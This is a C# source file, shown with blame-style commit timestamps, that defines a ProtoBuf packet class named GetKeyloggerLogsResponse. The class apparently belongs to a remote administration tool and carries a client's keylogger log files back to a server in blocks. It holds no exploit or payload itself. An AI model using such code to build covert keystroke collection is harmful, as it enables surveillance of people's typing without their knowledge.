2015-04-22 19:39:52 +00:00
|
|
|
|
using ProtoBuf;
|
2015-06-05 21:07:37 +00:00
|
|
|
|
using xServer.Core.Networking;
|
2015-04-22 19:39:52 +00:00
|
|
|
|
|
|
|
|
|
namespace xServer.Core.Packets.ClientPackets
|
|
|
|
|
{
|
|
|
|
|
[ProtoContract]
|
2015-07-14 17:00:31 +00:00
|
|
|
|
public class GetKeyloggerLogsResponse : IPacket
|
2015-04-22 19:39:52 +00:00
|
|
|
|
{
|
|
|
|
|
[ProtoMember(1)]
|
|
|
|
|
public string Filename { get; set; }
|
|
|
|
|
|
|
|
|
|
[ProtoMember(2)]
|
|
|
|
|
public byte[] Block { get; set; }
|
|
|
|
|
|
|
|
|
|
[ProtoMember(3)]
|
|
|
|
|
public int MaxBlocks { get; set; }
|
|
|
|
|
|
|
|
|
|
[ProtoMember(4)]
|
|
|
|
|
public int CurrentBlock { get; set; }
|
|
|
|
|
|
|
|
|
|
[ProtoMember(5)]
|
|
|
|
|
public string CustomMessage { get; set; }
|
|
|
|
|
|
|
|
|
|
[ProtoMember(6)]
|
|
|
|
|
public int Index { get; set; }
|
|
|
|
|
|
|
|
|
|
[ProtoMember(7)]
|
|
|
|
|
public int FileCount { get; set; }
|
|
|
|
|
|
2015-07-14 17:00:31 +00:00
|
|
|
|
public GetKeyloggerLogsResponse() { }
|
|
|
|
|
public GetKeyloggerLogsResponse(string filename, byte[] block, int maxblocks, int currentblock, string custommessage, int index, int fileCount)
|
2015-04-22 19:39:52 +00:00
|
|
|
|
{
|
|
|
|
|
this.Filename = filename;
|
|
|
|
|
this.Block = block;
|
|
|
|
|
this.MaxBlocks = maxblocks;
|
|
|
|
|
this.CurrentBlock = currentblock;
|
|
|
|
|
this.CustomMessage = custommessage;
|
|
|
|
|
this.Index = index;
|
|
|
|
|
this.FileCount = fileCount;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
public void Execute(Client client)
|
|
|
|
|
{
|
2015-05-19 01:01:38 +00:00
|
|
|
|
client.Send(this);
|
2015-04-22 19:39:52 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|